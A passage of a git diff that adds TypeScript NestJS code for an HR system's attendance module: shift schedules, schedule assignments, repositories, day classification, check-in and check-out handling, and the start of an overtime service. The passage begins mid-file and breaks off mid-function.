WorkSchedule } from "./work-schedule.entity"; + +/** + * Who is on which shift, and since when. + * + * Dated rather than a plain column on the profile, because attendance already + * recorded must keep being judged against the schedule that applied on the day. + * Moving someone to a later shift should not retroactively make last month's + * punctual arrivals late. + */ +@Entity({ schema: "hr", name: "work_schedule_assignments" }) +@Index("idx_schedule_assignments_employee", ["employeeId", "effectiveFrom"]) +export class WorkScheduleAssignment extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "organization_id" }) + organizationId!: string; + + @Column({ type: "uuid", name: "employee_id" }) + employeeId!: string; + + @Column({ type: "uuid", name: "work_schedule_id" }) + workScheduleId!: string; + + @ManyToOne(() => WorkSchedule) + @JoinColumn({ name: "work_schedule_id" }) + workSchedule?: WorkSchedule; + + @Column({ type: "date", name: "effective_from" }) + effectiveFrom!: string; + + /** Null = current. Only one open assignment per employee. */ + @Column({ type: "date", name: "effective_to", nullable: true }) + effectiveTo?: string | null; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; + + @Column({ type: "uuid", name: "updated_by", nullable: true }) + updatedBy?: string | null; +} diff --git a/apps/edr-hr-api/src/modules/attendance/entities/work-schedule.entity.ts b/apps/edr-hr-api/src/modules/attendance/entities/work-schedule.entity.ts new file mode 100644 index 000000000..f9dda8a61 --- /dev/null +++ b/apps/edr-hr-api/src/modules/attendance/entities/work-schedule.entity.ts @@ -0,0 +1,72 @@ +import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity"; +import { Column, Entity, Index, PrimaryGeneratedColumn } from "typeorm"; + +/** + * A shift pattern. + * + * Proclamation 1156/2019 Art. 61 caps normal hours at eight a day and 48 a week; + * the defaults here (08:30–17:30 with an hour's break) are one common way to sit + * inside that, not the only one. Every threshold is a column because employers + * differ and none of this is the developer's decision. + */ +@Entity({ schema: "hr", name: "work_schedules" }) +@Index("idx_work_schedules_organization_id", ["organizationId"]) +export class WorkSchedule extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "organization_id" }) + organizationId!: string; + + @Column({ type: "varchar", length: 32, name: "code" }) + code!: string; + + @Column({ type: "jsonb", name: "name" }) + name!: { am: string; en: string }; + + /** Wall-clock, no date and no zone — `HH:MM:SS`. */ + @Column({ type: "time", name: "start_time", default: "08:30" }) + startTime!: string; + + @Column({ type: "time", name: "end_time", default: "17:30" }) + endTime!: string; + + @Column({ type: "smallint", name: "break_minutes", default: 60 }) + breakMinutes!: number; + + /** How late someone can arrive before it counts as late. */ + @Column({ type: "smallint", name: "grace_period_minutes", default: 10 }) + gracePeriodMinutes!: number; + + /** + * Days this shift is worked, `0` = Sunday. `null` falls back to the + * organization's `leave_settings.weekend_days`, so the two cannot drift for + * the ordinary case where a shift simply follows the company week. + */ + @Column({ type: "smallint", array: true, name: "working_days", nullable: true }) + workingDays?: number[] | null; + + /** Minutes actually worked before the day counts as full. Default 7 hours. */ + @Column({ type: "smallint", name: "min_minutes_full_day", default: 420 }) + minMinutesFullDay!: number; + + @Column({ type: "smallint", name: "min_minutes_half_day", default: 210 }) + minMinutesHalfDay!: number; + + /** A night shift ending the following morning. Changes duration arithmetic. */ + @Column({ type: "boolean", name: "crosses_midnight", default: false }) + crossesMidnight!: boolean; + + /** Applies to anyone with no explicit assignment. One per organization. */ + @Column({ type: "boolean", name: "is_default", default: false }) + isDefault!: boolean; + + @Column({ type: "boolean", name: "is_active", default: true }) + isActive!: boolean; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; + + @Column({ type: "uuid", name: "updated_by", nullable: true }) + updatedBy?: string | null; +} diff --git a/apps/edr-hr-api/src/modules/attendance/repositories/attendance.repository.ts b/apps/edr-hr-api/src/modules/attendance/repositories/attendance.repository.ts new file mode 100644 index 000000000..0c8a04eb8 --- /dev/null +++ b/apps/edr-hr-api/src/modules/attendance/repositories/attendance.repository.ts @@ -0,0 +1,112 @@ +import { Injectable } from "@nestjs/common"; +import { InjectRepository } from "@nestjs/typeorm"; +import { BaseRepository } from "@edr/api-common"; +import { Repository } from "typeorm"; + +import { + AttendanceRecord, + EAttendanceStatus, +} from "../entities/attendance-record.entity"; + +@Injectable() +export class AttendanceRepository extends BaseRepository { + constructor( + @InjectRepository(AttendanceRecord) repository: Repository, + ) { + super(repository); + } + + findForDate( + employeeId: string, + workDate: string, + ): Promise { + return this.repository.findOne({ + where: { employeeId, workDate }, + relations: { workSchedule: true }, + }); + } + + findRange( + employeeId: string, + from: string, + to: string, + ): Promise { + return this.repository + .createQueryBuilder("record") + .leftJoinAndSelect("record.workSchedule", "schedule") + .where("record.employee_id = :employeeId", { employeeId }) + .andWhere("record.work_date BETWEEN :from AND :to", { from, to }) + .orderBy("record.workDate", "DESC") + .getMany(); + } + + async findPage(filters: { + organizationId?: string | null; + employeeId?: string; + status?: EAttendanceStatus; + from?: string; + to?: string; + page?: number; + limit?: number; + }): Promise<[AttendanceRecord[], number]> { + const page = filters.page ?? 1; + const limit = filters.limit ?? 25; + + const qb = this.repository + .createQueryBuilder("record") + .leftJoinAndSelect("record.workSchedule", "schedule"); + + if (filters.organizationId) { + qb.andWhere("record.organization_id = :organizationId", { + organizationId: filters.organizationId, + }); + } + if (filters.employeeId) { + qb.andWhere("record.employee_id = :employeeId", { + employeeId: filters.employeeId, + }); + } + if (filters.status) { + qb.andWhere("record.status = :status", { status: filters.status }); + } + if (filters.from) { + qb.andWhere("record.work_date >= :from", { from: filters.from }); + } + if (filters.to) { + qb.andWhere("record.work_date <= :to", { to: filters.to }); + } + + // Property names, not columns — orderBy resolves through entity metadata and + // a snake_case name throws once a join is present. + return qb + .orderBy("record.workDate", "DESC") + .skip((page - 1) * limit) + .take(limit) + .getManyAndCount(); + } + + /** Counts by status for a range — the summary strip on the attendance page. */ + async summarize( + organizationId: string | null, + employeeId: string | undefined, + from: string, + to: string, + ): Promise> { + const qb = this.repository + .createQueryBuilder("record") + .select("record.status", "status") + .addSelect("COUNT(*)", "count") + .where("record.work_date BETWEEN :from AND :to", { from, to }) + .groupBy("record.status"); + + if (organizationId) { + qb.andWhere("record.organization_id = :organizationId", { organizationId }); + } + if (employeeId) { + qb.andWhere("record.employee_id = :employeeId", { employeeId }); + } + + const rows = await qb.getRawMany<{ status: string; count: string }>(); + return Object.fromEntries(rows.map((row) => [row.status, Number(row.count)])); + } +} diff --git a/apps/edr-hr-api/src/modules/attendance/repositories/work-schedules.repository.ts b/apps/edr-hr-api/src/modules/attendance/repositories/work-schedules.repository.ts new file mode 100644 index 000000000..75410d840 --- /dev/null +++ b/apps/edr-hr-api/src/modules/attendance/repositories/work-schedules.repository.ts @@ -0,0 +1,94 @@ +import { Injectable } from "@nestjs/common"; +import { InjectRepository } from "@nestjs/typeorm"; +import { BaseRepository } from "@edr/api-common"; +import { IsNull, LessThanOrEqual, Repository } from "typeorm"; + +import { WorkSchedule } from "../entities/work-schedule.entity"; +import { WorkScheduleAssignment } from "../entities/work-schedule-assignment.entity"; + +@Injectable() +export class WorkSchedulesRepository extends BaseRepository { + constructor(@InjectRepository(WorkSchedule) repository: Repository) { + super(repository); + } + + findByCode(organizationId: string, code: string): Promise { + return this.repository.findOne({ where: { organizationId, code } }); + } + + findDefault(organizationId: string): Promise { + return this.repository.findOne({ + where: { organizationId, isDefault: true, isActive: true }, + }); + } + + findAllFor(organizationId: string | null): Promise { + return this.repository.find({ + where: organizationId ? { organizationId } : {}, + order: { code: "ASC" }, + }); + } + + /** Clear the current default before setting a new one — the index allows one. */ + async clearDefault(organizationId: string): Promise { + await this.repository.update({ organizationId, isDefault: true }, { + isDefault: false, + }); + } +} + +@Injectable() +export class WorkScheduleAssignmentsRepository extends BaseRepository { + constructor( + @InjectRepository(WorkScheduleAssignment) + repository: Repository, + ) { + super(repository); + } + + /** + * The assignment in force on a date. + * + * Ordered newest-first so a re-assignment supersedes an older open one even if + * the older was never closed — the unique index prevents that, but a query + * that depends on data being clean is a query that breaks when it is not. + */ + async findOnDate( + employeeId: string, + date: string, + ): Promise { + return this.repository + .createQueryBuilder("assignment") + .leftJoinAndSelect("assignment.workSchedule", "schedule") + .where("assignment.employee_id = :employeeId", { employeeId }) + .andWhere("assignment.effective_from <= :date", { date }) + .andWhere( + "(assignment.effective_to IS NULL OR assignment.effective_to >= :date)", + { date }, + ) + .orderBy("assignment.effectiveFrom", "DESC") + .getOne(); + } + + findOpenFor(employeeId: string): Promise { + return this.repository.findOne({ + where: { employeeId, effectiveTo: IsNull() }, + relations: { workSchedule: true }, + }); + } + + /** How many employees are currently on a schedule — the delete guard. */ + findOpenForSchedule(workScheduleId: string): Promise { + return this.repository.count({ + where: { workScheduleId, effectiveTo: IsNull() }, + }); + } + + findHistory(employeeId: string): Promise { + return this.repository.find({ + where: { employeeId, effectiveFrom: LessThanOrEqual("9999-12-31") }, + relations: { workSchedule: true }, + order: { effectiveFrom: "DESC" }, + }); + } +} diff --git a/apps/edr-hr-api/src/modules/attendance/services/attendance-day.service.ts b/apps/edr-hr-api/src/modules/attendance/services/attendance-day.service.ts new file mode 100644 index 000000000..39a22e5a5 --- /dev/null +++ b/apps/edr-hr-api/src/modules/attendance/services/attendance-day.service.ts @@ -0,0 +1,211 @@ +import { Injectable } from "@nestjs/common"; +import { InjectDataSource } from "@nestjs/typeorm"; +import { DataSource } from "typeorm"; + +import { + WorkingDaysService, + dayOfWeek, +} from "../../leave/services/working-days.service"; +import { LeaveSettingsService } from "../../leave/services/leave-settings.service"; +import { WorkSchedule } from "../entities/work-schedule.entity"; +import { EAttendanceStatus } from "../entities/attendance-record.entity"; + +/** Why a day is not workable, when it is not. */ +export interface DayContext { + workDate: string; + isWorkingDay: boolean; + isHoliday: boolean; + holidayName: string | null; + /** The approved leave covering this date, if any. */ + leave: { requestId: string; leaveTypeCode: string; isHalfDay: boolean } | null; +} + +const MINUTES = 60_000; + +/** `HH:MM[:SS]` on a date, as an instant. Times are wall-clock; dates are dates. */ +export const atTime = (workDate: string, time: string): Date => + new Date(`${workDate}T${time.length === 5 ? `${time}:00` : time}`); + +@Injectable() +export class AttendanceDayService { + constructor( + @InjectDataSource() private readonly dataSource: DataSource, + private readonly settingsService: LeaveSettingsService, + ) {} + + /** + * What kind of day this is for this employee. + * + * Attendance cannot be judged without it: the same absence is a rest day, an + * excused leave day or an unexplained absence depending on facts that live in + * three different places. Getting this wrong in the direction of ABSENT is the + * expensive one — it turns a legitimate holiday into a disciplinary record. + */ + async contextFor( + employeeId: string, + organizationId: string, + workDate: string, + schedule: WorkSchedule | null, + ): Promise { + const settings = await this.settingsService.resolve(organizationId); + // A schedule may name its own working days; otherwise the company week + // applies, so the two cannot drift for the ordinary case. + const nonWorking = schedule?.workingDays + ? [0, 1, 2, 3, 4, 5, 6].filter((day) => !schedule.workingDays!.includes(day)) + : settings.weekendDays; + + const [holiday] = await this.dataSource.query< + { name: { en: string; am: string } }[] + >( + `SELECT "name" FROM hr.holidays + WHERE "deleted_at" IS NULL + AND "is_working_day" = false + AND "observed_on" = $1::date + AND ("organization_id" IS NULL OR "organization_id" = $2::uuid) + LIMIT 1`, + [workDate, organizationId], + ); + + // Only APPROVED leave excuses an absence. A submitted request has not been + // agreed to, and treating it as cover would let anyone excuse themselves by + // filing a request nobody ever looks at. + const [leave] = await this.dataSource.query< + { requestId: string; leaveTypeCode: string; isHalfDay: boolean }[] + >( + `SELECT r."id" AS "requestId", t."code" AS "leaveTypeCode", + r."is_half_day" AS "isHalfDay" + FROM hr.leave_requests r + JOIN hr.leave_types t ON t."id" = r."leave_type_id" + WHERE r."deleted_at" IS NULL + AND r."employee_id" = $1::uuid + AND r."status" = 'APPROVED' + AND $2::date BETWEEN r."start_date" AND r."end_date" + LIMIT 1`, + [employeeId, workDate], + ); + + return { + workDate, + isWorkingDay: !nonWorking.includes(dayOfWeek(workDate)), + isHoliday: Boolean(holiday), + holidayName: holiday?.name?.en ?? null, + leave: leave ?? null, + }; + } + + /** + * The status of a day nobody punched for. + * + * Order matters and is not arbitrary. Leave wins over a holiday: somebody on a + * fortnight's annual leave that contains Meskel has that day charged against + * their balance by the leave module, and calling it HOLIDAY here would make + * attendance and the leave ledger tell different stories about the same day. + */ + static statusForUnworkedDay(context: DayContext): { + status: EAttendanceStatus; + leaveRequestId: string | null; + notes: string | null; + } { + if (context.leave) { + return { + status: EAttendanceStatus.ON_LEAVE, + leaveRequestId: context.leave.requestId, + notes: `${context.leave.leaveTypeCode} leave`, + }; + } + if (context.isHoliday) { + return { + status: EAttendanceStatus.HOLIDAY, + leaveRequestId: null, + notes: context.holidayName, + }; + } + if (!context.isWorkingDay) { + return { + status: EAttendanceStatus.REST_DAY, + leaveRequestId: null, + notes: null, + }; + } + return { status: EAttendanceStatus.ABSENT, leaveRequestId: null, notes: null }; + } + + /** + * Minutes and lateness from a pair of punches. + * + * The break is deducted only from a day long enough to have taken one — + * subtracting an hour's lunch from a two-hour morning would report negative + * work, and clamping that to zero would silently erase the two hours. + */ + static measure( + schedule: WorkSchedule | null, + workDate: string, + checkIn: Date, + checkOut: Date | null, + ): { workedMinutes: number; lateMinutes: number; earlyLeaveMinutes: number } { + if (!checkOut) { + return { workedMinutes: 0, lateMinutes: 0, earlyLeaveMinutes: 0 }; + } + + const gross = Math.max( + 0, + Math.round((checkOut.getTime() - checkIn.getTime()) / MINUTES), + ); + + if (!schedule) { + return { workedMinutes: gross, lateMinutes: 0, earlyLeaveMinutes: 0 }; + } + + const breakMinutes = gross > schedule.breakMinutes ? schedule.breakMinutes : 0; + const workedMinutes = gross - breakMinutes; + + const scheduledStart = atTime(workDate, schedule.startTime); + const scheduledEnd = schedule.crossesMidnight + ? new Date(atTime(workDate, schedule.endTime).getTime() + 86_400_000) + : atTime(workDate, schedule.endTime); + + const lateBy = Math.round( + (checkIn.getTime() - scheduledStart.getTime()) / MINUTES, + ); + // Grace is all-or-nothing: inside it, nothing is recorded. Recording the + // minutes anyway would make the grace period cosmetic, and someone would + // eventually report on the raw figure. + const lateMinutes = lateBy > schedule.gracePeriodMinutes ? lateBy : 0; + + const earlyBy = Math.round( + (scheduledEnd.getTime() - checkOut.getTime()) / MINUTES, + ); + const earlyLeaveMinutes = earlyBy > 0 ? earlyBy : 0; + + return { workedMinutes, lateMinutes, earlyLeaveMinutes }; + } + + /** PRESENT, LATE or HALF_DAY, from what was actually worked. */ + static statusForWorkedDay( + schedule: WorkSchedule | null, + measured: { workedMinutes: number; lateMinutes: number }, + ): EAttendanceStatus { + if (schedule && measured.workedMinutes < schedule.minMinutesHalfDay) { + // Under even the half-day threshold. Not marked ABSENT — they were here, + // and a record showing a short day is more useful than one denying it. + return EAttendanceStatus.HALF_DAY; + } + if (schedule && measured.workedMinutes < schedule.minMinutesFullDay) { + return EAttendanceStatus.HALF_DAY; + } + return measured.lateMinutes > 0 + ? EAttendanceStatus.LATE + : EAttendanceStatus.PRESENT; + } + + /** Every date in a range, inclusive — for the daily backfill. */ + static datesBetween(start: string, end: string): string[] { + const dates: string[] = []; + const total = WorkingDaysService.countCalendarDays({ start, end }); + for (let index = 0; index < total; index += 1) { + const cursor = new Date(Date.parse(`${start}T00:00:00Z`) + index * 86_400_000); + dates.push(cursor.toISOString().slice(0, 10)); + } + return dates; + } +} diff --git a/apps/edr-hr-api/src/modules/attendance/services/attendance.service.ts b/apps/edr-hr-api/src/modules/attendance/services/attendance.service.ts new file mode 100644 index 000000000..0c6f783e3 --- /dev/null +++ b/apps/edr-hr-api/src/modules/attendance/services/attendance.service.ts @@ -0,0 +1,434 @@ +import { + BadRequestException, + ConflictException, + Injectable, + NotFoundException, +} from "@nestjs/common"; + +import { ActorContext, orgScope } from "../../employees/employees.service"; +import { EmployeesRepository } from "../../employees/employees.repository"; +import { IamDirectoryService } from "../../../iam-directory/iam-directory.service"; +import { Paginated, paginate } from "../../../common/pagination.dto"; +import { AttendanceRepository } from "../repositories/attendance.repository"; +import { + AttendanceRecord, + EAttendanceSource, + EAttendanceStatus, +} from "../entities/attendance-record.entity"; +import { AttendanceDayService } from "./attendance-day.service"; +import { WorkSchedulesService } from "./work-schedules.service"; +import { RecordAttendanceDto } from "../dto/attendance.dto"; +import { daysBetween } from "../../leave/services/working-days.service"; + +/** Backfilling more than this in one call is a job, not a request. */ +const MAX_BACKFILL_DAYS = 92; + +@Injectable() +export class AttendanceService { + constructor( + private readonly attendance: AttendanceRepository, + private readonly schedules: WorkSchedulesService, + private readonly days: AttendanceDayService, + private readonly employees: EmployeesRepository, + private readonly iamDirectory: IamDirectoryService, + ) {} + + /** + * Clock in. + * + * Refuses a second check-in for the same day rather than overwriting the + * first: the earliest punch is the one that decides lateness, and letting a + * later one replace it would quietly erase a late arrival. + */ + async checkIn( + employeeId: string, + at: Date, + source: EAttendanceSource, + actor: ActorContext, + notes?: string, + ): Promise { + const { organizationId, workDate } = await this.resolveContext( + employeeId, + at, + actor, + ); + + const existing = await this.attendance.findForDate(employeeId, workDate); + if (existing?.checkIn) { + throw new ConflictException( + `Already checked in at ${existing.checkIn.toISOString()}. Use a ` + + "regularization to correct it.", + ); + } + + const schedule = await this.schedules.resolveFor( + employeeId, + organizationId, + workDate, + ); + const context = await this.days.contextFor( + employeeId, + organizationId, + workDate, + schedule, + ); + + // Working on a rest day or a holiday is allowed and recorded — it is how + // overtime on those days gets evidenced (3.3 slice 2). What is NOT allowed + // is punching in on a day already covered by approved leave: one of the two + // records is wrong, and silently accepting both leaves payroll to guess. + if (context.leave && !context.leave.isHalfDay) { + throw new ConflictException( + `${workDate} is covered by approved ${context.leave.leaveTypeCode} ` + + "leave. Cancel the leave first if they are in fact working.", + ); + } + + const measured = AttendanceDayService.measure(schedule, workDate, at, null); + + if (existing) { + return ( + (await this.attendance.update(existing.id, { + checkIn: at, + source, + notes: notes ?? existing.notes, + status: EAttendanceStatus.PRESENT, + lateMinutes: 0, + updatedBy: actor.userId, + })) ?? existing + ); + } + + return this.attendance.create({ + organizationId, + employeeId, + workDate, + workScheduleId: schedule?.id ?? null, + checkIn: at, + source, + // Not final: lateness needs the schedule's start time, and the status is + // recomputed on check-out from what was actually worked. + status: EAttendanceStatus.PRESENT, + lateMinutes: measured.lateMinutes, + notes: notes ?? null, + createdBy: actor.userId, + } as Partial); + } + + /** Clock out, and settle the day's numbers. */ + async checkOut( + employeeId: string, + at: Date, + source: EAttendanceSource, + actor: ActorContext, + notes?: string, + ): Promise { + const { workDate } = await this.resolveContext(employeeId, at, actor); + + // A night shift clocks out on the following calendar day, so an open record + // from yesterday is the one being closed. + const record = + (await this.attendance.findForDate(employeeId, workDate)) ?? + (await this.findOpenPreviousDay(employeeId, workDate)); + + if (!record?.checkIn) { + throw new BadRequestException( + "No check-in to close. Record the arrival first, or raise a " + + "regularization if it was missed.", + ); + } + if (record.checkOut) { + throw new ConflictException( + `Already checked out at ${record.checkOut.toISOString()}.`, + ); + } + if (at < record.checkIn) { + throw new BadRequestException("Check-out cannot be before check-in."); + } + + const schedule = record.workSchedule ?? null; + const measured = AttendanceDayService.measure( + schedule, + record.workDate, + record.checkIn, + at, + ); + + return ( + (await this.attendance.update(record.id, { + checkOut: at, + source, + notes: notes ?? record.notes, + workedMinutes: measured.workedMinutes, + lateMinutes: measured.lateMinutes, + earlyLeaveMinutes: measured.earlyLeaveMinutes, + status: AttendanceDayService.statusForWorkedDay(schedule, measured), + updatedBy: actor.userId, + })) ?? record + ); + } + + /** + * Record a day by hand — an administrator filling a gap. + * + * Kept separate from check-in/check-out because it is a different act: those + * assert "this is happening now", this asserts "this is what happened". The + * source records which, so a report can distinguish observed attendance from + * asserted attendance. + */ + async recordManually( + dto: RecordAttendanceDto, + actor: ActorContext, + ): Promise { + const employee = await this.iamDirectory.requireEmployee(dto.employeeId); + const organizationId = employee.organizationId; + if (!organizationId) { + throw new BadRequestException( + `Cannot resolve an organization for employee ${dto.employeeId}`, + ); + } + this.assertInScope(organizationId, actor); + + const checkIn = dto.checkIn ? new Date(dto.checkIn) : null; + const checkOut = dto.checkOut ? new Date(dto.checkOut) : null; + if (checkIn && checkOut && checkOut < checkIn) { + throw new BadRequestException("checkOut cannot be before checkIn."); + } + + const schedule = await this.schedules.resolveFor( + dto.employeeId, + organizationId, + dto.workDate, + ); + const context = await this.days.contextFor( + dto.employeeId, + organizationId, + dto.workDate, + schedule, + ); + + let status: EAttendanceStatus; + let leaveRequestId: string | null = null; + let measured = { workedMinutes: 0, lateMinutes: 0, earlyLeaveMinutes: 0 }; + + if (checkIn) { + measured = AttendanceDayService.measure( + schedule, + dto.workDate, + checkIn, + checkOut, + ); + status = + dto.status ?? AttendanceDayService.statusForWorkedDay(schedule, measured); + } else { + const derived = AttendanceDayService.statusForUnworkedDay(context); + status = dto.status ?? derived.status; + leaveRequestId = derived.leaveRequestId; + } + + // ON_LEAVE without the leave to back it is refused by a CHECK constraint; + // catching it here says why instead of surfacing a constraint name. + if (status === EAttendanceStatus.ON_LEAVE && !leaveRequestId) { + throw new BadRequestException( + `No approved leave covers ${dto.workDate}, so this day cannot be marked ` + + "ON_LEAVE. Approve the leave request first.", + ); + } + + const existing = await this.attendance.findForDate( + dto.employeeId, + dto.workDate, + ); + + const payload = { + organizationId, + employeeId: dto.employeeId, + workDate: dto.workDate, + workScheduleId: schedule?.id ?? null, + checkIn, + checkOut, + status, + leaveRequestId, + ...measured, + source: EAttendanceSource.MANUAL, + notes: dto.notes ?? null, + }; + + if (existing) { + return ( + (await this.attendance.update(existing.id, { + ...payload, + updatedBy: actor.userId, + })) ?? existing + ); + } + return this.attendance.create({ + ...payload, + createdBy: actor.userId, + } as Partial); + } + + /** + * Fill in the days nobody punched for. + * + * Only creates what is missing — an existing record is never touched, because + * this runs repeatedly and must not overwrite a punch or a correction. Days + * are classified as rest, holiday, leave or absence. + */ + async backfill( + employeeId: string, + from: string, + to: string, + actor: ActorContext, + ): Promise<{ created: number; skipped: number; byStatus: Record }> { + if (daysBetween(from, to) < 0) { + throw new BadRequestException("`to` cannot be before `from`."); + } + if (daysBetween(from, to) > MAX_BACKFILL_DAYS) { + throw new BadRequestException( + `Backfilling is limited to ${MAX_BACKFILL_DAYS} days at a time.`, + ); + } + + const employee = await this.iamDirectory.requireEmployee(employeeId); + const organizationId = employee.organizationId; + if (!organizationId) { + throw new BadRequestException( + `Cannot resolve an organization for employee ${employeeId}`, + ); + } + this.assertInScope(organizationId, actor); + + const profile = await this.employees.findByEmployeeId(employeeId); + if (!profile) { + throw new NotFoundException( + `${employeeId} has no HR profile, so there is nothing to attend.`, + ); + } + + const existing = await this.attendance.findRange(employeeId, from, to); + const have = new Set(existing.map((record) => record.workDate)); + + const byStatus: Record = {}; + let created = 0; + + for (const workDate of AttendanceDayService.datesBetween(from, to)) { + if (have.has(workDate)) continue; + // Nothing before they joined — those days are not absences, they are days + // this person did not work here. + if (daysBetween(profile.hireDate, workDate) < 0) continue; + + const schedule = await this.schedules.resolveFor( + employeeId, + organizationId, + workDate, + ); + const context = await this.days.contextFor( + employeeId, + organizationId, + workDate, + schedule, + ); + const derived = AttendanceDayService.statusForUnworkedDay(context); + + await this.attendance.create({ + organizationId, + employeeId, + workDate, + workScheduleId: schedule?.id ?? null, + status: derived.status, + leaveRequestId: derived.leaveRequestId, + notes: derived.notes, + source: EAttendanceSource.SYSTEM, + createdBy: actor.userId, + } as Partial); + + byStatus[derived.status] = (byStatus[derived.status] ?? 0) + 1; + created += 1; + } + + return { created, skipped: have.size, byStatus }; + } + + findRange(employeeId: string, from: string, to: string) { + return this.attendance.findRange(employeeId, from, to); + } + + async findAll( + filters: { + employeeId?: string; + status?: EAttendanceStatus; + from?: string; + to?: string; + page?: number; + limit?: number; + }, + actor: ActorContext, + ): Promise> { + const [items, total] = await this.attendance.findPage({ + ...filters, + organizationId: orgScope(actor), + }); + return paginate(items, total, filters.page ?? 1, filters.limit ?? 25); + } + + summary( + from: string, + to: string, + actor: ActorContext, + employeeId?: string, + ): Promise> { + return this.attendance.summarize(orgScope(actor), employeeId, from, to); + } + + /** Today's record for one employee — what the clock widget shows. */ + async today(employeeId: string, at: Date): Promise { + return this.attendance.findForDate(employeeId, at.toISOString().slice(0, 10)); + } + + // ──────────────────────────────────────────────────────────────────────── + + private async resolveContext( + employeeId: string, + at: Date, + actor: ActorContext, + ): Promise<{ organizationId: string; workDate: string }> { + const employee = await this.iamDirectory.requireEmployee(employeeId); + if (!employee.organizationId) { + throw new BadRequestException( + `Cannot resolve an organization for employee ${employeeId}`, + ); + } + this.assertInScope(employee.organizationId, actor); + return { + organizationId: employee.organizationId, + workDate: at.toISOString().slice(0, 10), + }; + } + + /** + * An open record from the previous day, for a shift that ran past midnight. + * Only the immediately preceding day: anything older is a missed check-out + * and belongs in a regularization, not silently closed days later. + */ + private async findOpenPreviousDay( + employeeId: string, + workDate: string, + ): Promise { + const previous = await this.attendance.findForDate( + employeeId, + new Date(Date.parse(`${workDate}T00:00:00Z`) - 86_400_000) + .toISOString() + .slice(0, 10), + ); + if (!previous?.checkIn || previous.checkOut) return null; + return previous.workSchedule?.crossesMidnight ? previous : null; + } + + private assertInScope(organizationId: string, actor: ActorContext): void { + const scope = orgScope(actor); + if (scope && organizationId !== scope) { + throw new NotFoundException("Employee not found"); + } + } +} diff --git a/apps/edr-hr-api/src/modules/attendance/services/overtime.service.ts b/apps/edr-hr-api/src/modules/attendance/services/overtime.service.ts new file mode 100644 index 000000000..dd3669d98 --- /dev/null +++ b/apps/edr-hr-api/src/modules/attendance/services/overtime.service.ts @@ -0,0 +1,510 @@ +import { + BadRequestException, + ForbiddenException, + Injectable, + NotFoundException, +} from "@nestjs/common"; +import { InjectRepository } from "@nestjs/typeorm"; +import { Repository } from "typeorm"; + +import { ActorContext, orgScope } from "../../employees/employees.service"; +import { EmployeesRepository } from "../../employees/employees.repository"; +import { IamDirectoryService } from "../../../iam-directory/iam-directory.service"; +import { Paginated, paginate } from "../../../common/pagination.dto"; +import { + EOvertimeCategory, + EOvertimeStatus, + OvertimeRate, + OvertimeRequest, +} from "../entities/overtime.entity"; +import { AttendanceDayService } from "./attendance-day.service"; +import { WorkSchedulesService } from "./work-schedules.service"; +import { STATUTORY_OVERTIME_RATES } from "../statutory-overtime-rates"; +import { addDays } from "../../leave/services/working-days.service"; +import { CreateOvertimeDto } from "../dto/overtime.dto"; + +/** Art. 67 ceilings, applied across requests rather than per request. */ +const MAX_HOURS_PER_MONTH = 20; +const MAX_HOURS_PER_YEAR = 100; + +/** Night work under Art. 68(1)(b). */ +const NIGHT_STARTS_HOUR = 22; +const NIGHT_ENDS_HOUR = 6; + +@Injectable() +export class OvertimeService { + constructor( + @InjectRepository(OvertimeRate) + private readonly rates: Repository, + @InjectRepository(OvertimeRequest) + private readonly requests: Repository, + private readonly schedules: WorkSchedulesService, + private readonly days: AttendanceDayService, + private readonly employees: EmployeesRepository, + private readonly iamDirectory: IamDirectoryService, + ) {} + + /** + * Seed the statutory premiums. Idempotent by category, and an existing rate is + * never lowered back to the statutory floor — an employer who pays 2× for + * night work keeps paying it. + */ + async seedStatutory( + actor: ActorContext, + ): Promise<{ created: string[]; skipped: string[] }> { + const organizationId = this.requireOrg(actor); + const created: string[] = []; + const skipped: string[] = []; + + for (const seed of STATUTORY_OVERTIME_RATES) { + const existing = await this.rates.findOne({ + where: { organizationId, category: seed.category }, + }); + if (existing) { + skipped.push(seed.category); + continue; + } + await this.rates.save( + this.rates.create({ + ...seed, + organizationId, + createdBy: actor.userId, + } as Partial), + ); + created.push(seed.category); + } + return { created, skipped }; + } + + listRates(actor: ActorContext): Promise { + const organizationId = orgScope(actor) ?? actor.organizationId; + return this.rates.find({ + where: organizationId ? { organizationId } : {}, + order: { category: "ASC" }, + }); + } + + async updateRate( + id: string, + dto: { multiplier?: string; maxHoursPerDay?: string | null }, + actor: ActorContext, + ): Promise { + const rate = await this.rates.findOne({ where: { id } }); + if (!rate) throw new NotFoundException(`Overtime rate ${id} not found`); + const scope = orgScope(actor); + if (scope && rate.organizationId !== scope) { + throw new NotFoundException(`Overtime rate ${id} not found`); + } + + // The statute is a floor. Refusing to go below it here is cheaper than + // discovering it in a labour dispute. + const statutory = STATUTORY_OVERTIME_RATES.find( + (seed) => seed.category === rate.category, + ); + if (dto.multiplier && statutory && Number(dto.multiplier) < Number(statutory.multiplier)) { + throw new BadRequestException( + `${rate.category} overtime cannot be paid below ${statutory.multiplier}× ` + + `— that is the statutory minimum (${statutory.statuteReference}).`, + ); + } + + await this.rates.update(id, { ...dto, updatedBy: actor.userId }); + return (await this.rates.findOne({ where: { id } })) ?? rate; + } + + /** + * Which premium applies to a stretch of work. + * + * A public holiday beats a rest day, which beats night, which beats ordinary + * overtime — most generous first, because a shift can satisfy several and the + * employee is owed the highest that applies. + */ + async categorize( + employeeId: string, + organizationId: string, + workDate: string, + startedAt: Date, + endedAt: Date, + ): Promise { + const schedule = await this.schedules.resolveFor( + employeeId, + organizationId, + workDate, + ); + const context = await this.days.contextFor( + employeeId, + organizationId, + workDate, + schedule, + ); + + if (context.isHoliday) return EOvertimeCategory.PUBLIC_HOLIDAY; + if (!context.isWorkingDay) return EOvertimeCategory.REST_DAY; + return OvertimeService.touchesNight(startedAt, endedAt) + ? EOvertimeCategory.NIGHT + : EOvertimeCategory.DAY; + } + + /** + * Whether any part of the work falls in the night window. + * + * Any overlap counts as night, rather than splitting the claim in two. That is + * the employee-favourable reading and it keeps one stretch of work as one + * record; splitting would be defensible too, but it must then be done + * consistently in payroll, and one rule in one place is worth more than a + * marginally more precise rule in two. + */ + private static touchesNight(startedAt: Date, endedAt: Date): boolean { + const cursor = new Date(startedAt); + while (cursor < endedAt) { + const hour = 